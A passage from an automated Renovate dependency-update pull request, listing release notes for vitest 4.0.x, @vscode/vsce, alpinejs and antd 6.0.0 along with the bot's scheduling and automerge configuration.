##### 🐞 Bug Fixes
- **types**:
- Don't use type from Vite 7.1 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9071](https://redirect.github.com/vitest-dev/vitest/issues/9071 ) [<samp>(6356b)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6356b1d38 )
- Don't import node.js dependent types in vitest/browser - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9068](https://redirect.github.com/vitest-dev/vitest/issues/9068 ) [<samp>(332af)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/332afa0de )
##### 🏎 Performance
- Avoid fetchModule roundtrip if the module is cached - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9075](https://redirect.github.com/vitest-dev/vitest/issues/9075 ) [<samp>(b27e0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b27e002e5 )
- **experimental**: If `fsCacheModule` is enabled, read from the memory when possible - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9076](https://redirect.github.com/vitest-dev/vitest/issues/9076 ) [<samp>(6b9a1)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6b9a1b5b1 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.12...v4.0.13 )
### [`v4.0.12`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.12 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.11...v4.0.12 )
##### 🐞 Bug Fixes
- Inherit `fsModuleCachePath` by default - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9063](https://redirect.github.com/vitest-dev/vitest/issues/9063 ) [<samp>(9a8bc)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9a8bc78c5 )
- Don't import from `@opentelemetry/api` in public types - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9066](https://redirect.github.com/vitest-dev/vitest/issues/9066 ) [<samp>(e944a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/e944a37b7 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.11...v4.0.12 )
### [`v4.0.11`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.11 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.10...v4.0.11 )
##### 🚀 Experimental Features
- **api**: Add extensible test artifact API - by [@​macarie](https://redirect.github.com/macarie ) in [#​8987](https://redirect.github.com/vitest-dev/vitest/issues/8987 ) [<samp>(77292)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/772923645 )
- See more at <https://vitest.dev/api/advanced/artifacts >
- **expect**: Provide `task` in `MatchState` - by [@​macarie](https://redirect.github.com/macarie ) in [#​9022](https://redirect.github.com/vitest-dev/vitest/issues/9022 ) [<samp>(afd1f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/afd1f3e52 )
- **experimental**: Support OpenTelemetry traces - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8994](https://redirect.github.com/vitest-dev/vitest/issues/8994 ) [<samp>(d6d33)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d6d3359dd )
- See more at <https://vitest.dev/guide/open-telemetry >
##### 🏎 Performance
- **experimental**: Add file system cache - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9026](https://redirect.github.com/vitest-dev/vitest/issues/9026 ) [<samp>(1b147)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1b1473712 )
- See more at <https://vitest.dev/config/experimental#experimental-fsmodulecache >
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.10...v4.0.11 )
### [`v4.0.10`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.10 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.9...v4.0.10 )
##### 🐞 Bug Fixes
- Remove `onCancel` when worker is terminated - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9033](https://redirect.github.com/vitest-dev/vitest/issues/9033 ) [<samp>(6d7f0)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6d7f0a99e )
- **browser**:
- Don't scale the iframe if UI is disabled - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9018](https://redirect.github.com/vitest-dev/vitest/issues/9018 ) [<samp>(5406e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5406e8ea4 )
- Handle dependency stack traces with external source maps. Resolves: [#​9003](https://redirect.github.com/vitest-dev/vitest/issues/9003 ) - by [@​iclectic](https://redirect.github.com/iclectic ) in [#​9016](https://redirect.github.com/vitest-dev/vitest/issues/9016 ) and [#​9003](https://redirect.github.com/vitest-dev/vitest/issues/9003 ) [<samp>(57ae5)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/57ae547de )
- **bun**:
- Parsing of stack trace for bun runtime - by [@​nazarhussain](https://redirect.github.com/nazarhussain ) in [#​9032](https://redirect.github.com/vitest-dev/vitest/issues/9032 ) [<samp>(f3ec6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f3ec6fcb0 )
- **core**:
- Prevent starting new run when cancelling - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​8991](https://redirect.github.com/vitest-dev/vitest/issues/8991 ) [<samp>(eb98d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/eb98dd8fd )
- **pool**:
- Prevent writing to closed worker - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​9023](https://redirect.github.com/vitest-dev/vitest/issues/9023 ) [<samp>(042c6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/042c60c80 )
- **reporters**:
- Report correct test run duration at the end - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8969](https://redirect.github.com/vitest-dev/vitest/issues/8969 ) [<samp>(bc3a6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bc3a6921e )
- **ui**:
- Use execution time from ws reporter (`onFinished`) - by [@​userquin](https://redirect.github.com/userquin ) in [#​8975](https://redirect.github.com/vitest-dev/vitest/issues/8975 ) [<samp>(f56dc)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/f56dc0cc4 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.9...v4.0.10 )
### [`v4.0.9`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.9 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.8...v4.0.9 )
##### 🚀 Experimental Features
- **expect**: Add Set support to toBeOneOf - by [@​tim-we](https://redirect.github.com/tim-we ) and [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8906](https://redirect.github.com/vitest-dev/vitest/issues/8906 ) [<samp>(a415d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a415d0375 )
##### 🐞 Bug Fixes
- **browser**: Add favicon icons to the browser mode ui - by [@​userquin](https://redirect.github.com/userquin ) in [#​8972](https://redirect.github.com/vitest-dev/vitest/issues/8972 ) [<samp>(353ee)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/353ee5bbc )
- **forks**: Increase worker start timeout - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​9027](https://redirect.github.com/vitest-dev/vitest/issues/9027 ) [<samp>(5e750)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/5e750f4ba )
- **jsdom**: Cloned request is an instance of `Request` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8985](https://redirect.github.com/vitest-dev/vitest/issues/8985 ) [<samp>(506a9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/506a9fd0f )
- **ui**: Collect file/suite/test duration correctly - by [@​userquin](https://redirect.github.com/userquin ) in [#​8976](https://redirect.github.com/vitest-dev/vitest/issues/8976 ) [<samp>(8016d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/8016da886 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.8...v4.0.9 )
### [`v4.0.8`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.8 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.7...v4.0.8 )
##### 🐞 Bug Fixes
- Workaround `noExternal` merging bug on Vite 6 - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [#​8950](https://redirect.github.com/vitest-dev/vitest/issues/8950 ) [<samp>(bcb13)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/bcb132fd4 )
- Missed context.d.ts file - by [@​termorey](https://redirect.github.com/termorey ) in [#​8965](https://redirect.github.com/vitest-dev/vitest/issues/8965 ) [<samp>(9044d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9044d9356 )
- Incorrect error message for non-awaited `expect.element()` - by [@​StyleShit](https://redirect.github.com/StyleShit ) in [#​8954](https://redirect.github.com/vitest-dev/vitest/issues/8954 ) [<samp>(9638d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9638db0f3 )
- **browser**: Cleanup frame-ancestors from CSP header at coverage middleware - by [@​userquin](https://redirect.github.com/userquin ) in [#​8941](https://redirect.github.com/vitest-dev/vitest/issues/8941 ) [<samp>(1f730)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/1f7303738 )
- **deps**: Update all non-major dependencies - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8636](https://redirect.github.com/vitest-dev/vitest/issues/8636 ) [<samp>(da8b9)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/da8b93aa5 )
- **forks**: Do not fail with Windows Defender enabled - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8967](https://redirect.github.com/vitest-dev/vitest/issues/8967 ) [<samp>(c79f4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c79f47c65 )
- **runner**: Properly encode Uint8Array body in annotations - by [@​Livan-pro](https://redirect.github.com/Livan-pro ) in [#​8951](https://redirect.github.com/vitest-dev/vitest/issues/8951 ) [<samp>(997ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/997ca5a82 )
- **spy**: Copy static properties if spy is initialised with `vi.fn()`, fix types for `vi.spyOn(obj, class)` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8956](https://redirect.github.com/vitest-dev/vitest/issues/8956 ) [<samp>(75e7f)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/75e7fcc51 )
- **webdriverio**: When no argument is passed to the .click interaction command, the webdriver command should also have no argument - by [@​julienw](https://redirect.github.com/julienw ) in [#​8937](https://redirect.github.com/vitest-dev/vitest/issues/8937 ) [<samp>(069e6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/069e6db9b )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.7...v4.0.8 )
### [`v4.0.7`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v4.0.7 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.6...v4.0.7 )
##### 🐞 Bug Fixes
- Bind `process` in case global is overwritten - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​8916](https://redirect.github.com/vitest-dev/vitest/issues/8916 ) [<samp>(6240d)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/6240d51a6 )
- Create environment once per worker with `isolate: false` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8915](https://redirect.github.com/vitest-dev/vitest/issues/8915 ) [<samp>(c9078)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/c9078a26e )
- Add Locator as a possible element type in `toContainElement()` matcher - by [@​vitalybaev](https://redirect.github.com/vitalybaev ) in [#​8910](https://redirect.github.com/vitest-dev/vitest/issues/8910 ) and [#​8927](https://redirect.github.com/vitest-dev/vitest/issues/8927 ) [<samp>(35a27)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/35a27d4b3 )
- **browser**: Inherit `isolate` option, deprecate `browser.isolate`/`browser.fileParallelism` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8890](https://redirect.github.com/vitest-dev/vitest/issues/8890 ) [<samp>(9d2b4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/9d2b4d501 )
- **cli**: Parse `--execArgv` as array - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​8924](https://redirect.github.com/vitest-dev/vitest/issues/8924 ) [<samp>(751c3)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/751c3926f )
- **jsdom**: Support `URL.createObjectURL`, `FormData.set(prop, blob)` - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) in [#​8935](https://redirect.github.com/vitest-dev/vitest/issues/8935 ) [<samp>(a1b73)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/a1b7361ab )
- **pool**: Avoid `--require` argument when running in deno - by [@​pi0](https://redirect.github.com/pi0 ) in [#​8897](https://redirect.github.com/vitest-dev/vitest/issues/8897 ) [<samp>(d41fa)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/d41fa742f )
- **typecheck**: Handle re-runs outside `tsc` - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​8920](https://redirect.github.com/vitest-dev/vitest/issues/8920 ) [<samp>(fdb2e)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/fdb2e7982 )
##### 🏎 Performance
- **pool**:
- Sort test files by project by default - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [#​8914](https://redirect.github.com/vitest-dev/vitest/issues/8914 ) [<samp>(680a6)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/680a612ea )
- **reporters**:
- Optimize getting the tests stats - by [@​Connormiha](https://redirect.github.com/Connormiha ) in [#​8908](https://redirect.github.com/vitest-dev/vitest/issues/8908 ) [<samp>(06d62)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/06d6207fb )
- Remove unnecessary `Array.from` call - by [@​Connormiha](https://redirect.github.com/Connormiha ) in [#​8907](https://redirect.github.com/vitest-dev/vitest/issues/8907 ) [<samp>(b6014)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/b60149b27 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v4.0.6...v4.0.7 )
</details>
<details>
<summary>Microsoft/vsce (@​vscode/vsce)</summary>
### [`v3.7.1`](https://redirect.github.com/microsoft/vscode-vsce/releases/tag/v3.7.1 )
[Compare Source](https://redirect.github.com/Microsoft/vsce/compare/v3.7.0...v3.7.1 )
#### Changes:
- [#​1223](https://redirect.github.com/Microsoft/vsce/issues/1223 ): Bump js-yaml
- [#​1222](https://redirect.github.com/Microsoft/vsce/issues/1222 ): Bump glob
This list of changes was [auto generated](https://dev.azure.com/monacotools/Monaco/_build/results?buildId=378097\&view=logs ).
### [`v3.7.0`](https://redirect.github.com/microsoft/vscode-vsce/releases/tag/v3.7.0 )
[Compare Source](https://redirect.github.com/Microsoft/vsce/compare/v3.6.2...v3.7.0 )
#### Changes:
- [#​1219](https://redirect.github.com/Microsoft/vsce/issues/1219 ): Remove invalid validation for extension dependencies
- [#​1212](https://redirect.github.com/Microsoft/vsce/issues/1212 ): Validate extension dependencies use lowercase letters and warn about deprecated github.copilot
- [#​1209](https://redirect.github.com/Microsoft/vsce/issues/1209 ): Bump validator from 13.9.0 to 13.15.20
- [#​1200](https://redirect.github.com/Microsoft/vsce/issues/1200 ): Bump tar-fs from 2.1.3 to 2.1.4
This list of changes was [auto generated](https://dev.azure.com/monacotools/Monaco/_build/results?buildId=372155\&view=logs ).
</details>
<details>
<summary>alpinejs/alpine (alpinejs)</summary>
### [`v3.15.2`](https://redirect.github.com/alpinejs/alpine/releases/tag/v3.15.2 )
[Compare Source](https://redirect.github.com/alpinejs/alpine/compare/v3.15.1...v3.15.2 )
#### Changes
- Imrove CSP bundle [#​4704](https://redirect.github.com/alpinejs/alpine/pull/4704 )
- Add `setErrorHandler` [#​4673](https://redirect.github.com/alpinejs/alpine/pull/4673 )
### [`v3.15.1`](https://redirect.github.com/alpinejs/alpine/releases/tag
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "before 10am on monday" in timezone Asia/Shanghai, Automerge - At any time (no schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions ) if that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/oxc-project/oxc ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0Mi4xNi4xIiwidXBkYXRlZEluVmVyIjoiNDIuMzIuMiIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOltdfQ==-->
2025-12-09 14:39:49 +00:00
renovate[bot]
94320ab6f6
chore(deps): update npm packages (major) ( #16298 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [antd](https://ant.design )
([source](https://redirect.github.com/ant-design/ant-design )) |
[`^5.25.2` ->
`^6.0.0`](https://renovatebot.com/diffs/npm/antd/5.27.5/6.0.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
| [immer](https://redirect.github.com/immerjs/immer ) | [`^10.1.1` ->
`^11.0.0`](https://renovatebot.com/diffs/npm/immer/10.1.3/11.0.0 ) |
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
[](https://docs.renovatebot.com/merge-confidence/ )
|
---
### Release Notes
<details>
<summary>ant-design/ant-design (antd)</summary>
###
[`v6.0.0`](https://redirect.github.com/ant-design/ant-design/releases/tag/6.0.0 )
[Compare
Source](https://redirect.github.com/ant-design/ant-design/compare/5.29.1...6.0.0 )
- 🔥 Semantic structure. Thanks
[@​thinkasany](https://redirect.github.com/thinkasany ) &
[@​meet-student](https://redirect.github.com/meet-student ) for
spearheading the semantic structure implementation.
- 🔥 Antd components support semantic structure and ConfigProvider
config.
[#​53659](https://redirect.github.com/ant-design/ant-design/pull/53659 )
[#​53535](https://redirect.github.com/ant-design/ant-design/pull/53535 )
[#​52759](https://redirect.github.com/ant-design/ant-design/pull/52759 )
[#​53028](https://redirect.github.com/ant-design/ant-design/pull/53028 )
[#​52340](https://redirect.github.com/ant-design/ant-design/pull/52340 )
[#​52895](https://redirect.github.com/ant-design/ant-design/pull/52895 )
[#​52258](https://redirect.github.com/ant-design/ant-design/pull/52258 )
[#​52376](https://redirect.github.com/ant-design/ant-design/pull/52376 )
[#​53055](https://redirect.github.com/ant-design/ant-design/pull/53055 )
[#​53226](https://redirect.github.com/ant-design/ant-design/pull/53226 )
[#​53150](https://redirect.github.com/ant-design/ant-design/pull/53150 )
[#​53429](https://redirect.github.com/ant-design/ant-design/pull/53429 )
[#​52976](https://redirect.github.com/ant-design/ant-design/pull/52976 )
[#​52961](https://redirect.github.com/ant-design/ant-design/pull/52961 )
[#​52948](https://redirect.github.com/ant-design/ant-design/pull/52948 )
[#​53890](https://redirect.github.com/ant-design/ant-design/pull/53890 )
[#​53694](https://redirect.github.com/ant-design/ant-design/pull/53694 )
[#​53789](https://redirect.github.com/ant-design/ant-design/pull/53789 )
[#​53225](https://redirect.github.com/ant-design/ant-design/pull/53225 )
[#​53324](https://redirect.github.com/ant-design/ant-design/pull/53324 )
[#​52793](https://redirect.github.com/ant-design/ant-design/pull/52793 )
[#​53698](https://redirect.github.com/ant-design/ant-design/pull/53698 )
[#​53272](https://redirect.github.com/ant-design/ant-design/pull/53272 )
[#​53489](https://redirect.github.com/ant-design/ant-design/pull/53489 )
[#​52172](https://redirect.github.com/ant-design/ant-design/pull/52172 )
[#​52823](https://redirect.github.com/ant-design/ant-design/pull/52823 )
[#​53303](https://redirect.github.com/ant-design/ant-design/pull/53303 )
[#​52764](https://redirect.github.com/ant-design/ant-design/pull/52764 )
[#​53229](https://redirect.github.com/ant-design/ant-design/pull/53229 )
[#​53159](https://redirect.github.com/ant-design/ant-design/pull/53159 )
[#​53174](https://redirect.github.com/ant-design/ant-design/pull/53174 )
[#​52250](https://redirect.github.com/ant-design/ant-design/pull/52250 )
[#​52972](https://redirect.github.com/ant-design/ant-design/pull/52972 )
[#​52893](https://redirect.github.com/ant-design/ant-design/pull/52893 )
[#​52866](https://redirect.github.com/ant-design/ant-design/pull/52866 )
[#​52859](https://redirect.github.com/ant-design/ant-design/pull/52859 )
[#​52849](https://redirect.github.com/ant-design/ant-design/pull/52849 )
[#​52811](https://redirect.github.com/ant-design/ant-design/pull/52811 )
[#​52780](https://redirect.github.com/ant-design/ant-design/pull/52780 )
[#​52781](https://redirect.github.com/ant-design/ant-design/pull/52781 )
[#​52745](https://redirect.github.com/ant-design/ant-design/pull/52745 )
[#​52470](https://redirect.github.com/ant-design/ant-design/pull/52470 )
[#​52669](https://redirect.github.com/ant-design/ant-design/pull/52669 )
[#​52303](https://redirect.github.com/ant-design/ant-design/pull/52303 )
[#​52141](https://redirect.github.com/ant-design/ant-design/pull/52141 )
[#​52171](https://redirect.github.com/ant-design/ant-design/pull/52171 )
[#​54145](https://redirect.github.com/ant-design/ant-design/pull/54145 )
[#​53958](https://redirect.github.com/ant-design/ant-design/pull/53958 )
[#​55430](https://redirect.github.com/ant-design/ant-design/pull/55430 )
- 🔥 Antd components Dynamic generation via function based on props.
[#​54967](https://redirect.github.com/ant-design/ant-design/pull/54967 )
[#​54977](https://redirect.github.com/ant-design/ant-design/pull/54977 )
[#​54962](https://redirect.github.com/ant-design/ant-design/pull/54962 )
[#​54960](https://redirect.github.com/ant-design/ant-design/pull/54960 )
[#​55099](https://redirect.github.com/ant-design/ant-design/pull/55099 )
[#​54986](https://redirect.github.com/ant-design/ant-design/pull/54986 )
[#​54988](https://redirect.github.com/ant-design/ant-design/pull/54988 )
[#​54987](https://redirect.github.com/ant-design/ant-design/pull/54987 )
[#​55199](https://redirect.github.com/ant-design/ant-design/pull/55199 )
[#​54985](https://redirect.github.com/ant-design/ant-design/pull/54985 )
[#​55119](https://redirect.github.com/ant-design/ant-design/pull/55119 )
[#​54980](https://redirect.github.com/ant-design/ant-design/pull/54980 )
[#​55054](https://redirect.github.com/ant-design/ant-design/pull/55054 )
[#​54979](https://redirect.github.com/ant-design/ant-design/pull/54979 )
[#​55161](https://redirect.github.com/ant-design/ant-design/pull/55161 )
[#​55157](https://redirect.github.com/ant-design/ant-design/pull/55157 )
[#​55021](https://redirect.github.com/ant-design/ant-design/pull/55021 )
[#​55081](https://redirect.github.com/ant-design/ant-design/pull/55081 )
[#​55096](https://redirect.github.com/ant-design/ant-design/pull/55096 )
[#​55044](https://redirect.github.com/ant-design/ant-design/pull/55044 )
[#​55060](https://redirect.github.com/ant-design/ant-design/pull/55060 )
[#​54984](https://redirect.github.com/ant-design/ant-design/pull/54984 )
[#​54983](https://redirect.github.com/ant-design/ant-design/pull/54983 )
[#​55117](https://redirect.github.com/ant-design/ant-design/pull/55117 )
[#​54982](https://redirect.github.com/ant-design/ant-design/pull/54982 )
[#​55190](https://redirect.github.com/ant-design/ant-design/pull/55190 )
[#​55007](https://redirect.github.com/ant-design/ant-design/pull/55007 )
[#​55118](https://redirect.github.com/ant-design/ant-design/pull/55118 )
[#​54978](https://redirect.github.com/ant-design/ant-design/pull/54978 )
[#​54968](https://redirect.github.com/ant-design/ant-design/pull/54968 )
[#​54966](https://redirect.github.com/ant-design/ant-design/pull/54966 )
[#​54994](https://redirect.github.com/ant-design/ant-design/pull/54994 )
[#​54965](https://redirect.github.com/ant-design/ant-design/pull/54965 )
[#​55101](https://redirect.github.com/ant-design/ant-design/pull/55101 )
[#​54963](https://redirect.github.com/ant-design/ant-design/pull/54963 )
[#​55109](https://redirect.github.com/ant-design/ant-design/pull/55109 )
[#​54996](https://redirect.github.com/ant-design/ant-design/pull/54996 )
[#​54969](https://redirect.github.com/ant-design/ant-design/pull/54969 )
[#​55126](https://redirect.github.com/ant-design/ant-design/pull/55126 )
[#​54959](https://redirect.github.com/ant-design/ant-design/pull/54959 )
[#​55056](https://redirect.github.com/ant-design/ant-design/pull/55056 )
[#​55114](https://redirect.github.com/ant-design/ant-design/pull/55114 )
[#​54956](https://redirect.github.com/ant-design/ant-design/pull/54956 )
[#​54957](https://redirect.github.com/ant-design/ant-design/pull/54957 )
[#​55013](https://redirect.github.com/ant-design/ant-design/pull/55013 )
[#​54958](https://redirect.github.com/ant-design/ant-design/pull/54958 )
[#​55031](https://redirect.github.com/ant-design/ant-design/pull/55031 )
[#​54955](https://redirect.github.com/ant-design/ant-design/pull/54955 )
[#​55058](https://redirect.github.com/ant-design/ant-design/pull/55058 )
[#​55032](https://redirect.github.com/ant-design/ant-design/pull/55032 )
[#​54948](https://redirect.github.com/ant-design/ant-design/pull/54948 )
[#​54950](https://redirect.github.com/ant-design/ant-design/pull/54950 )
[#​54949](https://redirect.github.com/ant-design/ant-design/pull/54949 )
[#​54917](https://redirect.github.com/ant-design/ant-design/pull/54917 )
[#​54919](https://redirect.github.com/ant-design/ant-design/pull/54919 )
[#​54813](https://redirect.github.com/ant-design/ant-design/pull/54813 )
[#​55796](https://redirect.github.com/ant-design/ant-design/pull/55796 )
[@​meet-student](https://redirect.github.com/meet-student )
[@​hcjlxl](https://redirect.github.com/hcjlxl )
[@​Arktomson](https://redirect.github.com/Arktomson )
[@​zjr222](https://redirect.github.com/zjr222 )
[@​Linkodt](https://redirect.github.com/Linkodt )
[@​xkhanhan](https://redirect.github.com/xkhanhan )
[@​lovelts](https://redirect.github.com/lovelts )
[@​tanjiahao24](https://redirect.github.com/tanjiahao24 )
[@​li-jia-nan](https://redirect.github.com/li-jia-nan )
[@​Susuperli](https://redirect.github.com/Susuperli )
[@​ccc1018](https://redirect.github.com/ccc1018 )
[@​nmsn](https://redirect.github.com/nmsn )
[@​GinWU05](https://redirect.github.com/GinWU05 )
- 🔥 New Masonry component.
[#​52162](https://redirect.github.com/ant-design/ant-design/pull/52162 )
[@​OysterD3](https://redirect.github.com/OysterD3 )
- ConfigProvider
- 🆕 ConfigProvider support Table `rowKey` global config.
[#​52751](https://redirect.github.com/ant-design/ant-design/pull/52751 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 ConfigProvider support Card.Meta config.
[#​52214](https://redirect.github.com/ant-design/ant-design/pull/52214 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🆕 ConfigProvider support arrow for Tooltip, Popover, Popconfirm.
[#​52434](https://redirect.github.com/ant-design/ant-design/pull/52434 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- 🆕 ConfigProvider support `root` config for Space.
[#​52248](https://redirect.github.com/ant-design/ant-design/pull/52248 )
[@​thinkasany](https://redirect.github.com/thinkasany )
- Tooltip
- 🔥 ConfigProvider supports configuring `tooltip.unique` to enable
Tooltip smooth movement.
[#​55154](https://redirect.github.com/ant-design/ant-design/pull/55154 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- ⚡ ️ Optimize Tooltip dev render performance(\~40%) to enhance developer
experience.
[#​53844](https://redirect.github.com/ant-design/ant-design/pull/53844 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- Input
- 🔥 InputNumber support `mode="spinner"`.
[#​55592](https://redirect.github.com/ant-design/ant-design/pull/55592 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🗑 Input.Search refactor to remove `addon*` code and use Space.Compact
instead.
[#​55705](https://redirect.github.com/ant-design/ant-design/pull/55705 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🐞 Fix Input.TextArea `styles.textarea` unable to override built-in
styles.
[#​55579](https://redirect.github.com/ant-design/ant-design/pull/55579 )
[@​meet-student](https://redirect.github.com/meet-student )
- 🆕 Pagination quick jumper now accept numberic value only.
[#​55700](https://redirect.github.com/ant-design/ant-design/pull/55700 )
[@​afc163](https://redirect.github.com/afc163 )
- Mentions
- 🛠 Refactor Mentions DOM structure to support `suffix` semantic and
`size` props.
[#​55638](https://redirect.github.com/ant-design/ant-design/pull/55638 )
[@​zombieJ](https://redirect.github.com/zombieJ )
- 🐞 Fix Mentions `autoResize=false` can not drag to resize the box.
[#​54039](https://redirect.github.com/ant-design/ant-design/pull/54039 )
[@​jin19980928](https://redirect.github.com/jin19980928 )
- 🆕 Watermark support `onRemove` callback when delete by manully.
[#​55551](https://redirect.github.com/ant-design/ant-design/pull/55551 )
[@​984507092](https://redirect.github.com/984507092 )
- 🆕 Breadcrumb supports ConfigProvider `separator` global configuration.
[#​54680](https://redirect.github.com/ant-design/ant-design/pull/54680 )
[@​guoyunhe](https://redirect.github.com/guoyunhe )
- 🆕 Alert `closable` supports onClose and afterClose methods.
[#​54735](https://redirect.github.com/ant-design/ant-design/pull/54735 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Radio.Group supports `vertical` layout syntax sugar.
[#​54727](https://redirect.github.com/ant-design/ant-design/pull/54727 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- Cascader
- 🆕 Cascader support `aria-*` & `data-*` props.
[#​53910](https://redirect.github.com/ant-design/ant-design/pull/53910 )
[@​kiner-tang](https://redirect.github.com/kiner-tang )
- 🆕 Cascader.Panel adds optionRender to allow custom option rendering.
[#​54843](https://redirect.github.com/ant-design/ant-design/pull/54843 )
[@​EmilyyyLiu](https://redirect.github.com/EmilyyyLiu )
- 🆕 Upload `accept` config supports custom filtering logic.
